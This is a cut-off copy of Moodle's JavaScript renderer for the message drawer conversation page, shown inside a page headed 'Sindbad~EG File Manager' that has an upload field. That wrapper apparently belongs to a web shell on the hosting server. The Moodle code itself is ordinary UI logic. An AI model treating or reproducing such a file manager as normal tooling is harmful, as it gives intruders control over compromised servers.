Sindbad~EG File Manager

Current Path : /var/www/html/formacion.bdp.com.py-bk/message/amd/src/
Upload File :
Current File : /var/www/html/formacion.bdp.com.py-bk/message/amd/src/message_drawer_view_conversation_renderer.js

// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * This module updates the UI for the conversation page in the message
 * drawer.
 *
 * The module will take a patch from the message_drawer_view_conversation_patcher
 * module and update the UI to reflect the changes.
 *
 * This is the only module that ever modifies the UI of the conversation page.
 *
 * @module     core_message/message_drawer_view_conversation_renderer
 * @copyright  2018 Ryan Wyllie <ryan@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(
[
    'jquery',
    'core/notification',
    'core/str',
    'core/templates',
    'core/user_date',
    'core_message/message_drawer_view_conversation_constants',
    'core/aria',
],
function(
    $,
    Notification,
    Str,
    Templates,
    UserDate,
    Constants,
    Aria
) {
    var SELECTORS = Constants.SELECTORS;
    var TEMPLATES = Constants.TEMPLATES;
    var CONVERSATION_TYPES = Constants.CONVERSATION_TYPES;

    /**
     * Get the messages container element.
     *
     * @param  {Object} body Conversation body container element.
     * @return {Object} The messages container element.
     */
    var getMessagesContainer = function(body) {
        return body.find(SELECTORS.CONTENT_MESSAGES_CONTAINER);
    };

    /**
     * Show the messages container element.
     *
     * @param  {Object} body Conversation body container element.
     */
    var showMessagesContainer = function(body) {
        getMessagesContainer(body).removeClass('hidden');
    };

    /**
     * Hide the messages container element.
     *
     * @param  {Object} body Conversation body container element.
     */
    var hideMessagesContainer = function(body) {
        getMessagesContainer(body).addClass('hidden');
    };

    /**
     * Get the self-conversation message container element.
     *
     * @param  {Object} body Conversation body container element.
     * @return {Object} The messages container element.
     */
    var getSelfConversationMessageContainer = function(body) {
        return body.find(SELECTORS.SELF_CONVERSATION_MESSAGE_CONTAINER);
    };

    /**
     * Hide the self-conversation message container element.
     *
     * @param  {Object} body Conversation body container element.
     * @return {Object} The messages container element.
     */
    var hideSelfConversationMessageContainer = function(body) {
        return getSelfConversationMessageContainer(body).addClass('hidden');
    };

    /**
     * Get the contact request sent container element.
     *
     * @param  {Object} body Conversation body container element.
     * @return {Object} The messages container element.
     */
    var getContactRequestSentContainer = function(body) {
        return body.find(SELECTORS.CONTACT_REQUEST_SENT_MESSAGE_CONTAINER);
    };

    /**
     * Hide the contact request sent container element.
     *
     * @param  {Object} body Conversation body container element.
     * @return {Object} The messages container element.
     */
    var hideContactRequestSentContainer = function(body) {
        return getContactRequestSentContainer(body).addClass('hidden');
    };

    /**
     * Get the footer container element.
     *
     * @param  {Object} footer Conversation footer container element.
     * @return {Object} The footer container element.
     */
    var getFooterContentContainer = function(footer) {
        return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_CONTAINER);
    };

    /**
     * Show the footer container element.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var showFooterContent = function(footer) {
        getFooterContentContainer(footer).removeClass('hidden');
    };

    /**
     * Hide the footer container element.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var hideFooterContent = function(footer) {
        getFooterContentContainer(footer).addClass('hidden');
    };

    /**
     * Get the footer edit mode container element.
     *
     * @param  {Object} footer Conversation footer container element.
     * @return {Object} The footer container element.
     */
    var getFooterEditModeContainer = function(footer) {
        return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_EDIT_MODE_CONTAINER);
    };

    /**
     * Show the footer edit mode container element.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var showFooterEditMode = function(footer) {
        getFooterEditModeContainer(footer).removeClass('hidden');
    };

    /**
     * Hide the footer edit mode container element.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var hideFooterEditMode = function(footer) {
        getFooterEditModeContainer(footer).addClass('hidden');
    };

    /**
     * Get the footer placeholder.
     *
     * @param  {Object} footer Conversation footer container element.
     * @return {Object} The footer placeholder container element.
     */
    var getFooterPlaceholderContainer = function(footer) {
        return footer.find(SELECTORS.PLACEHOLDER_CONTAINER);
    };

    /**
     * Show the footer placeholder
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var showFooterPlaceholder = function(footer) {
        getFooterPlaceholderContainer(footer).removeClass('hidden');
    };

    /**
     * Hide the footer placeholder
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var hideFooterPlaceholder = function(footer) {
        getFooterPlaceholderContainer(footer).addClass('hidden');
    };

    /**
     * Get the footer Require add as contact container element.
     *
     * @param  {Object} footer Conversation footer container element.
     * @return {Object} The footer Require add as contact container element.
     */
    var getFooterRequireContactContainer = function(footer) {
        return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_REQUIRE_CONTACT_CONTAINER);
    };

    /**
     * Show the footer add as contact dialogue.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var showFooterRequireContact = function(footer) {
        getFooterRequireContactContainer(footer).removeClass('hidden');
    };

    /**
     * Hide the footer add as contact dialogue.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var hideFooterRequireContact = function(footer) {
        getFooterRequireContactContainer(footer).addClass('hidden');
    };

    /**
     * Get the footer Required to unblock contact container element.
     *
     * @param  {Object} footer Conversation footer container element.
     * @return {Object} The footer Required to unblock contact container element.
     */
    var getFooterRequireUnblockContainer = function(footer) {
        return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_REQUIRE_UNBLOCK_CONTAINER);
    };

    /**
     * Show the footer Required to unblock contact container element.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var showFooterRequireUnblock = function(footer) {
        getFooterRequireUnblockContainer(footer).removeClass('hidden');
    };

    /**
     * Hide the footer Required to unblock contact container element.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var hideFooterRequireUnblock = function(footer) {
        getFooterRequireUnblockContainer(footer).addClass('hidden');
    };

    /**
     * Get the footer Unable to message contact container element.
     *
     * @param  {Object} footer Conversation footer container element.
     * @return {Object} The footer Unable to message contact container element.
     */
    var getFooterUnableToMessageContainer = function(footer) {
        return footer.find(SELECTORS.CONTENT_MESSAGES_FOOTER_UNABLE_TO_MESSAGE_CONTAINER);
    };

    /**
     * Show the footer Unable to message contact container element.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var showFooterUnableToMessage = function(footer) {
        getFooterUnableToMessageContainer(footer).removeClass('hidden');
    };

    /**
     * Hide the footer Unable to message contact container element.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var hideFooterUnableToMessage = function(footer) {
        getFooterUnableToMessageContainer(footer).addClass('hidden');
    };

    /**
     * Hide all header elements.
     *
     * @param  {Object} header Conversation header container element.
     */
    var hideAllHeaderElements = function(header) {
        hideHeaderContent(header);
        hideHeaderEditMode(header);
        hideHeaderPlaceholder(header);
    };

    /**
     * Hide all footer dialogues and messages.
     *
     * @param  {Object} footer Conversation footer container element.
     */
    var hideAllFooterElements = function(footer) {
        hideFooterContent(footer);
        hideFooterEditMode(footer);
        hideFooterPlaceholder(footer);
        hideFooterRequireContact(footer);
        hideFooterRequireUnblock(footer);
        hideFooterUnableToMessage(footer);
    };

    /**
     * Get the content placeholder container element.
     *
     * @param  {Object} body Conversation body container element.
     * @return {Object} The body placeholder container element.
     */
    var getContentPlaceholderContainer = function(body) {
        return body.find(SELECTORS.CONTENT_PLACEHOLDER_CONTAINER);
    };

    /**
     * Show the content placeholder.
     *
     * @param  {Object} body Conversation body container element.
     */
    var showContentPlaceholder = function(body) {
        getContentPlaceholderContainer(body).removeClass('hidden');
    };

    /**
     * Hide the content placeholder.
     *
     * @param  {Object} body Conversation body container element.
     */
    var hideContentPlaceholder = function(body) {
        getContentPlaceholderContainer(body).addClass('hidden');
    };

    /**
     * Get the header content container element.
     *
     * @param  {Object} header Conversation header container element.
     * @return {Object} The header content container element.
     */
    var getHeaderContent = function(header) {
        return header.find(SELECTORS.HEADER);
    };

    /**
     * Show the header content.
     *
     * @param  {Object} header Conversation header container element.
     */
    var showHeaderContent = function(header) {
        getHeaderContent(header).removeClass('hidden');
    };

    /**
     * Hide the header content.
     *
     * @param  {Object} header Conversation header container element.
     */
    var hideHeaderContent = function(header) {
        getHeaderContent(header).addClass('hidden');
    };

    /**
     * Get the header edit mode container element.
     *
     * @param  {Object} header Conversation header container element.
     * @return {Object} The header content container element.
     */
    var getHeaderEditMode = function(header) {
        return header.find(SELECTORS.HEADER_EDIT_MODE);
    };

    /**
     * Show the header edit mode container.
     *
     * @param  {Object} header Conversation header container element.
     */
    var showHeaderEditMode = function(header) {
        getHeaderEditMode(header).removeClass('hidden');
    };

    /**
     * Hide the header edit mode container.
     *
     * @param  {Object} header Conversation header container element.
     */
    var hideHeaderEditMode = function(header) {
        getHeaderEditMode(header).addClass('hidden');
    };

    /**
     * Get the header placeholder container element.
     *
     * @param  {Object} header Conversation header container element.
     * @return {Object} The header placeholder container element.
     */
    var getHeaderPlaceholderContainer = function(header) {
        return header.find(SELECTORS.HEADER_PLACEHOLDER_CONTAINER);
    };

    /**
     * Show the header placeholder.
     *
     * @param  {Object} header Conversation header container element.
     */
    var showHeaderPlaceholder = function(header) {
        getHeaderPlaceholderContainer(header).removeClass('hidden');
    };

    /**
     * Hide the header placeholder.
     *
     * @param  {Object} header Conversation header container element.
     */
    var hideHeaderPlaceholder = function(header) {
        getHeaderPlaceholderContainer(header).addClass('hidden');
    };

    /**
     * Get the emoji picker container element.
     *
     * @param  {Object} footer Conversation footer container element.
     * @return {Object} The emoji picker container element.
     */
    var getEmojiPickerContainer = function(footer) {
        return footer.find(SELECTORS.EMOJI_PICKER_CONTAINER);
    };

    /**
     * Get the emoji picker container element.
     *
     * @param  {Object} footer Conversation footer container element.
     * @return {Object} The emoji picker container element.
     */
    var getEmojiAutoCompleteContainer = function(footer) {
        return footer.find(SELECTORS.EMOJI_AUTO_COMPLETE_CONTAINER);
    };

    /**
     * Get a message element.
     *
     * @param  {Object} body Conversation body container element.
     * @param  {Number} messageId the Message id.
     * @return {Object} A message element from the conversation.
     */
    var getMessageElement = function(body, messageId) {
        var messagesContainer = getMessagesContainer(body);
        return messagesContainer.find('[data-message-id="' + messageId + '"]');
    };

    /**
     * Get the day container element. The day container element holds a list of messages for that day.
     *
     * @param  {Object} body Conversation body container element.
     * @param  {Number} dayTimeCreated Midnight timestamp for the day.
     * @return {Object} jQuery object
     */
    var getDayElement = function(body, dayTimeCreated) {
        var messagesContainer = getMessagesContainer(body);
        return messagesContainer.find('[data-day-id="' + dayTimeCreated + '"]');
    };

    /**
     * Get the more messages loading icon container element.
     *
     * @param  {Object} body Conversation body container element.
     * @return {Object} The more messages loading container element.
     */
    var getMoreMessagesLoadingIconContainer = function(body) {
        return body.find(SELECTORS.MORE_MESSAGES_LOADING_ICON_CONTAINER);
    };

    /**
     * Show the more messages loading icon.
     *
     * @param  {Object} body Conversation body container element.
     */
    var showMoreMessagesLoadingIcon = function(body) {
        getMoreMessagesLoadingIconContainer(body).removeClass('hidden');
    };

    /**
     * Hide the more messages loading icon.
     *
     * @param  {Object} body Conversation body container element.
     */
    var hideMoreMessagesLoadingIcon = function(body) {
        getMoreMessagesLoadingIconContainer(body).addClass('hidden');
    };

    /**
     * Get the confirm dialogue container element.
     *
     * @param  {Object} root The container element to search.
     * @return {Object} The confirm dialogue container element.
     */
    var getConfirmDialogueContainer = function(root) {
        return root.find(SELECTORS.CONFIRM_DIALOGUE_CONTAINER);
    };

    /**
     * Show the confirm dialogue container element.
     *
     * @param  {Object} root The container element containing a dialogue.
     */
    var showConfirmDialogueContainer = function(root) {
        var container = getConfirmDialogueContainer(root);
        var siblings = container.siblings(':not(.hidden)');
        Aria.hide(siblings.get());
        siblings.attr('data-confirm-dialogue-hidden', true);

        container.removeClass('hidden');
    };

    /**
     * Hide the confirm dialogue container element.
     *
     * @param  {Object} root The container element containing a dialogue.
     */
    var hideConfirmDialogueContainer = function(root) {
        var container = getConfirmDialogueContainer(root);
        var siblings = container.siblings('[data-confirm-dialogue-hidden="true"]');
        Aria.unhide(siblings.get());
        siblings.removeAttr('data-confirm-dialogue-hidden');

        container.addClass('hidden');
    };

    /**
     * Set the number of selected messages.
     *
     * @param {Object} header The header container element.
     * @param {Number} value The new number to display.
     */
    var setMessagesSelectedCount = function(header, value) {
        getHeaderEditMode(header).find(SELECTORS.MESSAGES_SELECTED_COUNT).text(value);
    };

    /**
     * Format message for the mustache template, transform camelCase properties to lowercase properties.
     *
     * @param  {Array} messages Array of message objects.
     * @param  {Object} datesCache Cache timestamps and their formatted date string.
     * @return {Array} Messages formated for mustache template.
     */
    var formatMessagesForTemplate = function(messages, datesCache) {
        return messages.map(function(message) {
            return {
                id: message.id,
                isread: message.isRead,
                fromloggedinuser: message.fromLoggedInUser,
                userfrom: message.userFrom,
                text: message.text,
                formattedtime: message.timeCreated ? datesCache[message.timeCreated] : null
            };
        });
    };

    /**
     * Create rendering promises for each day containing messages.
     *
     * @param  {Object} header The header container element.
     * @param  {Object} body The body container element.
     * @param  {Object} footer The footer container element.
     * @param  {Array} days Array of days containing messages.
     * @param  {Object} datesCache Cache timestamps and their formatted date string.
     * @return {Promise} Days rendering promises.
     */
    var renderAddDays = function(header, body, footer, days, datesCache) {
        var messagesContainer = getMessagesContainer(body);
        var daysRenderPromises = days.map(function(data) {
            var timestampDate = new Date(data.value.timestamp * 1000);
            return Templates.render(TEMPLATES.DAY, {
                timestamp: data.value.timestamp,
                currentyear: timestampDate.getFullYear() === (new Date()).getFullYear(),
                messages: formatMessagesForTemplate(data.value.messages, datesCache)
            });
        });

        return $.when.apply($, daysRenderPromises).then(function() {
            // Wait until all of the rendering is done for each of the days
            // to ensure they are added to the page in the correct order.
            days.forEach(function(data, index) {
                daysRenderPromises[index]
                    .then(function(html) {
                        if (data.before) {
                            var element = getDayElement(body, data.before.timestamp);
                            return $(html).insertBefore(element);
                        } else {
                            return messagesContainer.append(html);
                        }
                    })
                    .catch(function() {
                        // Fail silently.
                    });
            });

            return;
        });
    };

    /**
     * Add (more) messages to day containers.
     *
     * @param  {Object} header The header container element.
     * @param  {Object} body The body container element.
     * @param  {Object} footer The footer container element.
     * @param  {Array} messages List of messages.
     * @param  {Object} datesCache Cache timestamps and their formatted date string.
     * @return {Promise} Messages rendering promises.
     */
    var renderAddMessages = function(header, body, footer, messages, datesCache) {
        var messagesData = messages.map(function(data) {
            return data.value;
        });
        var formattedMessages = formatMessagesForTemplate(messagesData, datesCache);

        return Templates.render(TEMPLATES.MESSAGES, {messages: formattedMessages})
            .then(function(html) {
                var messageList = $(html);
                messages.forEach(function(data) {
                    var messageHtml = messageList.find('[data-message-id="' + data.value.id + '"]');
                    if (data.before) {
                        var element = getMessageElement(body, data.before.id);
                        return messageHtml.insertBefore(element);
                    } else {
                        var dayContainer = getDayElement(body, data.day.timestamp);
                        var dayMessagesContainer = dayContainer.find(SELECTORS.DAY_MESSAGES_CONTAINER);
                        return dayMessagesContainer.append(messageHtml);
                    }
                });

                return;
            });
    };

    /**
     * Update existing messages.
     *
     * @param  {Object} header The header container element.
     * @param  {Object} body The body container element.
     * @param  {Object} footer The footer container element.
     * @param  {Array} messages List of messages.
     * @param  {Object} datesCache Cache timestamps and their formatted date string.
     */
    var renderUpdateMessages = function(header, body, footer, messages, datesCache) {
        messages.forEach(function(message) {
            var before = message.before;
            var after = message.after;
            var element = getMessageElement(body, before.id);

            if (before.id != after.id) {
                element.attr('data-message-id', after.id);
            }

            if (before.timeCreated != after.timeCreated) {
                var formattedTime = datesCache[after.timeCreated];
                element.find(SELECTORS.LOADING_ICON_CONTAINER).addClass('hidden');
                element.find(SELECTORS.TIME_CREATED).text(formattedTime).removeClass('hidden');
            }

            if (before.sendState != after.sendState) {
                var loading = element.find(SELECTORS.LOADING_ICON_CONTAINER);
                var time = element.find(SELECTORS.TIME_CREATED);
                var retry = element.find(SELECTORS.RETRY_SEND);

                loading.addClass('hidden');
                Aria.hide(loading.get());

                time.addClass('hidden');
                Aria.hide(time.get());

                retry.addClass('hidden');
                Aria.hide(retry.get());

                element.removeClass('border border-danger');

                switch (after.sendState) {
                    case 'pending':
                        loading.removeClass('hidden');
                        Aria.unhide(loading.get());
                        break;
                    case 'error':
                        retry.removeClass('hidden');
                        Aria.unhide(retry.get());
                        element.addClass('border border-danger');
                        break;
                    case 'sent':
                        time.removeClass('hidden');
                        Aria.unhide(time.get());
                        break;
                }
            }

            if (before.text != after.text) {
                element.find(SELECTORS.TEXT_CONTAINER).html(after.text);
            }

            if (before.errorMessage != after.errorMessage) {
                var messageContainer = element.find(SELECTORS.ERROR_MESSAGE_CONTAINER);
                var message = messageContainer.find(SELECTORS.ERROR_MESSAGE);

                if (after.errorMessage) {
                    messageContainer.removeClass('hidden');
                    Aria.unhide(messageContainer.get());
                    message.text(after.errorMessage);
                } else {
                    messageContainer.addClass('hidden');
                    Aria.unhide(messageContainer.get());
                    message.text('');
                }
            }
        });
    };

    /**
     * Remove days from conversation.
     *
     * @param  {Object} body The body container element.
     * @param  {Array} days Array of days to be removed.
     */
    var renderRemoveDays = function(body, days) {
        days.forEach(function(data) {
            getDayElement(body, data.timestamp).remove();
        });
    };

    /**
     * Remove messages from conversation.
     *
     * @param  {Object} body The body container element.
     * @param  {Array} messages Array of messages to be removed.
     */
    var renderRemoveMessages = function(body, messages) {
        messages.forEach(function(data) {
            getMessageElement(body, data.id).remove();
        });
    };

    /**
     * Render the full conversation base on input from the statemanager.
     *
     * This will pre-load all of the formatted timestamps for each message that
     * needs to render to reduce the number of networks requests.
     *
     * @param  {Object} header The header container element.
     * @param  {Object} body The body container element.
     * @param  {Object} footer The footer container element.
     * @param  {Object} data The conversation diff.
     * @return {Object} jQuery promise.
     */
    var renderConversation = function(header, body, footer, data) {
        var renderingPromises = [];
        var hasAddDays = data.days.add.length > 0;
        var hasAddMessages = data.messages.add.length > 0;
        var hasUpdateMessages = data.messages.update.length > 0;
        var timestampsToFormat = [];
        var datesCachePromise = $.Deferred().resolve({}).promise();

        if (hasAddDays) {
            // Search for all of the timeCreated values in all of the messages in all of
            // the days that we need to render.
            timestampsToFormat = timestampsToFormat.concat(data.days.add.reduce(function(carry, day) {
                return carry.concat(day.value.messages.reduce(function(timestamps, message) {
                    if (message.timeCreated) {
                        timestamps.push(message.timeCreated);
                    }
                    return timestamps;
                }, []));
            }, []));
        }

        if (hasAddMessages) {
            // Search for all of the timeCreated values in all of the messages that we
            // need to render.
            timestampsToFormat = timestampsToFormat.concat(data.messages.add.reduce(function(timestamps, message) {
                if (message.value.timeCreated) {
                    timestamps.push(message.value.timeCreated);
                }
                return timestamps;
            }, []));
        }

        if (hasUpdateMessages) {
            timestampsToFormat = timestampsToFormat.concat(data.messages.update.reduce(function(timestamps, message) {
                if (message.before.timeCreated != message.after.timeCreated) {
                    timestamps.push(message.after.timeCreated);
                }
                return timestamps;
            }, []));
        }

        if (timestampsToFormat.length) {
            // If we have timestamps then pre-load the formatted version of each of them
            // in a single request to the server. This saves the templates doing multiple
            // individual requests.
            datesCachePromise = Str.get_string('strftimetime24', 'core_langconfig')
                .then(function(format) {
                    var requests = timestampsToFormat.map(function(timestamp) {
                        return {
                            timestamp: timestamp,
                            format: format
                        };
                    });

                    return UserDate.get(requests);
                })
                .then(function(formattedTimes) {
                    return timestampsToFormat.reduce(function(carry, timestamp, index) {
                        carry[timestamp] = formattedTimes[index];
                        return carry;
                    }, {});
                });
        }

        if (hasAddDays) {
            renderingPromises.push(datesCachePromise.then(function(datesCache) {
                return renderAddDays(header, body, footer, data.days.add, datesCache);
            }));
        }

        if (hasAddMessages) {
            renderingPromises.push(datesCachePromise.then(function(datesCache) {
                return renderAddMessages(header, body, footer, data.messages.add, datesCache);
            }));
        }

        if (hasUpdateMessages) {
            renderingPromises.push(datesCachePromise.then(function(datesCache) {
                return renderUpdateMessages(header, body, footer, data.messages.update, datesCache);
            }));
        }

        if (data.days.remove.length > 0) {
            renderRemoveDays(body, data.days.remove);
        }

        if (data.messages.remove.length > 0) {
            renderRemoveMessages(body, data.messages.remove);
        }

        return $.when.apply($, renderingPromises);
    };

    /**
     * Render the conversation header.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} data Data for header.
     * @return {Object} jQuery promise
     */
    var renderHeader = function(header, body, footer, data) {
        var headerContainer = getHeaderContent(header);
        var template = TEMPLATES.HEADER_PUBLIC;
        data.context.showrouteback = (header.attr('data-from-panel') === "false");
        if (data.type == CONVERSATION_TYPES.PRIVATE) {
            template = data.showControls ? TEMPLATES.HEADER_PRIVATE : TEMPLATES.HEADER_PRIVATE_NO_CONTROLS;
        } else if (data.type == CONVERSATION_TYPES.SELF) {
            template = TEMPLATES.HEADER_SELF;
        }

        return Templates.render(template, data.context)
            .then(function(html, js) {
                Templates.replaceNodeContents(headerContainer, html, js);
                return;
            });
    };

    /**
     * Render the conversation footer.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} data Data for footer.
     * @return {Object} jQuery promise.
     */
    var renderFooter = function(header, body, footer, data) {
        hideAllFooterElements(footer);

        switch (data.type) {
            case 'placeholder':
                return showFooterPlaceholder(footer);
            case 'add-contact':
                return Str.get_strings([
                        {
                            key: 'requirecontacttomessage',
                            component: 'core_message',
                            param: data.user.fullname
                        },
                        {
                            key: 'isnotinyourcontacts',
                            component: 'core_message',
                            param: data.user.fullname
                        }
                    ])
                    .then(function(strings) {
                        var title = strings[1];
                        var text = strings[0];
                        var footerContainer = getFooterRequireContactContainer(footer);
                        footerContainer.find(SELECTORS.TITLE).text(title);
                        footerContainer.find(SELECTORS.TEXT).text(text);
                        showFooterRequireContact(footer);
                        return strings;
                    });
            case 'edit-mode':
                return showFooterEditMode(footer);
            case 'content':
                return showFooterContent(footer);
            case 'unblock':
                return showFooterRequireUnblock(footer);
            case 'unable-to-message':
                return showFooterUnableToMessage(footer);
        }

        return true;
    };

    /**
     * Scroll to a message in the conversation.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Number} messageId Message id.
     */
    var renderScrollToMessage = function(header, body, footer, messageId) {
        var messagesContainer = getMessagesContainer(body);
        var messageElement = getMessageElement(body, messageId);
        var position = messageElement.position();
        // Scroll the message container down to the top of the message element.
        if (position) {
            var scrollTop = messagesContainer.scrollTop() + position.top;
            messagesContainer.scrollTop(scrollTop);
        }
    };

    /**
     * Hide or show the conversation header.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} isLoadingMembers Members loading.
     */
    var renderLoadingMembers = function(header, body, footer, isLoadingMembers) {
        if (isLoadingMembers) {
            hideHeaderContent(header);
            showHeaderPlaceholder(header);
        } else {
            showHeaderContent(header);
            hideHeaderPlaceholder(header);
        }
    };

    /**
     * Hide or show loading conversation messages.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} isLoadingFirstMessages Messages loading.
     */
    var renderLoadingFirstMessages = function(header, body, footer, isLoadingFirstMessages) {
        if (isLoadingFirstMessages) {
            hideMessagesContainer(body);
            showContentPlaceholder(body);
        } else {
            showMessagesContainer(body);
            hideContentPlaceholder(body);
        }
    };

    /**
     * Hide or show loading more messages.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} isLoading Messages loading.
     */
    var renderLoadingMessages = function(header, body, footer, isLoading) {
        if (isLoading) {
            showMoreMessagesLoadingIcon(body);
        } else {
            hideMoreMessagesLoadingIcon(body);
        }
    };

    /**
     * Hide or show the emoji picker.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} show Should the emoji picker be visible.
     */
    var renderShowEmojiPicker = function(header, body, footer, show) {
        var container = getEmojiPickerContainer(footer);

        if (show) {
            container.removeClass('hidden');
            Aria.unhide(container.get());
            container.find(SELECTORS.EMOJI_PICKER_SEARCH_INPUT).focus();
        } else {
            container.addClass('hidden');
            Aria.hide(container.get());
        }
    };

    /**
     * Hide or show the emoji auto complete.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Bool} show Should the emoji picker be visible.
     */
    var renderShowEmojiAutoComplete = function(header, body, footer, show) {
        var container = getEmojiAutoCompleteContainer(footer);

        if (show) {
            container.removeClass('hidden');
            Aria.unhide(container.get());
        } else {
            container.addClass('hidden');
            Aria.hide(container.get());
        }
    };

    /**
     * Show a confirmation dialogue
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {String} buttonSelectors Selectors for the buttons to show.
     * @param {String} bodyText Text to show in dialogue.
     * @param {String} headerText Text to show in dialogue header.
     * @param {Bool} canCancel Can this dialogue be cancelled.
     * @param {Bool} skipHeader Skip blanking out the header
     * @param {Bool} showOk Show an 'Okay' button for a dialogue which will close it
     */
    var showConfirmDialogue = function(
        header,
        body,
        footer,
        buttonSelectors,
        bodyText,
        headerText,
        canCancel,
        skipHeader,
        showOk
    ) {
        var dialogue = getConfirmDialogueContainer(body);
        var buttons = buttonSelectors.map(function(selector) {
            return dialogue.find(selector);
        });
        var cancelButton = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_CANCEL_BUTTON);
        var okayButton = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_OKAY_BUTTON);
        var text = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_TEXT);
        var dialogueHeader = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_HEADER);

        dialogue.find('button').addClass('hidden');

        if (canCancel) {
            cancelButton.removeClass('hidden');
        } else {
            cancelButton.addClass('hidden');
        }

        if (showOk) {
            okayButton.removeClass('hidden');
        } else {
            okayButton.addClass('hidden');
        }

        if (headerText) {
            // Create the dialogue header.
            dialogueHeader = $('<h3 class="h6" data-region="dialogue-header"></h3>');
            dialogueHeader.text(headerText);
            // Prepend it to the confirmation body.
            var confirmDialogue = dialogue.find(SELECTORS.CONFIRM_DIALOGUE);
            confirmDialogue.prepend(dialogueHeader);
        } else if (dialogueHeader.length) {
            // Header text is empty but dialogue header is present, so remove it.
            dialogueHeader.remove();
        }

        buttons.forEach(function(button) {
            button.removeClass('hidden');
        });
        text.text(bodyText);
        showConfirmDialogueContainer(footer);
        showConfirmDialogueContainer(body);

        if (!skipHeader) {
            showConfirmDialogueContainer(header);
        }

        dialogue.find(SELECTORS.CAN_RECEIVE_FOCUS).filter(':visible').first().focus();
    };

    /**
     * Hide the dialogue
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @return {Bool} always true.
     */
    var hideConfirmDialogue = function(header, body, footer) {
        var dialogue = getConfirmDialogueContainer(body);
        var cancelButton = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_CANCEL_BUTTON);
        var okayButton = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_OKAY_BUTTON);
        var text = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_TEXT);
        var dialogueHeader = dialogue.find(SELECTORS.CONFIRM_DIALOGUE_HEADER);

        hideCheckDeleteDialogue(body);
        hideConfirmDialogueContainer(body);
        hideConfirmDialogueContainer(footer);
        hideConfirmDialogueContainer(header);
        dialogue.find('button').addClass('hidden');
        cancelButton.removeClass('hidden');
        okayButton.removeClass('hidden');
        text.text('');

        // Remove dialogue header if present.
        if (dialogueHeader.length) {
            dialogueHeader.remove();
        }

        header.find(SELECTORS.CAN_RECEIVE_FOCUS).first().focus();
        return true;
    };

    /**
     * Render the confirm block user dialogue.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} user User to block.
     * @return {Object} jQuery promise
     */
    var renderConfirmBlockUser = function(header, body, footer, user) {
        if (user) {
            if (user.canmessageevenifblocked) {
                return Str.get_string('cantblockuser', 'core_message', user.fullname)
                    .then(function(string) {
                        return showConfirmDialogue(header, body, footer, [], string, '', false, false, true);
                    });
            } else {
                return Str.get_string('blockuserconfirm', 'core_message', user.fullname)
                    .then(function(string) {
                        return showConfirmDialogue(header, body, footer, [SELECTORS.ACTION_CONFIRM_BLOCK], string, '', true, false);
                    });
            }
        } else {
            return hideConfirmDialogue(header, body, footer);
        }
    };

    /**
     * Render the confirm unblock user dialogue.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} user User to unblock.
     * @return {Object} jQuery promise
     */
    var renderConfirmUnblockUser = function(header, body, footer, user) {
        if (user) {
            return Str.get_string('unblockuserconfirm', 'core_message', user.fullname)
                .then(function(string) {
                    return showConfirmDialogue(header, body, footer, [SELECTORS.ACTION_CONFIRM_UNBLOCK], string, '', true, false);
                });
        } else {
            return hideConfirmDialogue(header, body, footer);
        }
    };

    /**
     * Render the add user as contact dialogue.
     *
     * @param {Object} header The header container element.
     * @param {Object} body The body container element.
     * @param {Object} footer The footer container element.
     * @param {Object} user User to add as contact.
     * @return {Object} jQuery promise
     */
    var renderConfirmAddContact = function(header, body, footer, user) {
        if (user) {
            return Str.get_string('addcontactconfirm', 'core_message', user.fullname)
                .then(function(string) {
                    return showConfirmDialogue(
                        header,
                        body,
                        footer,
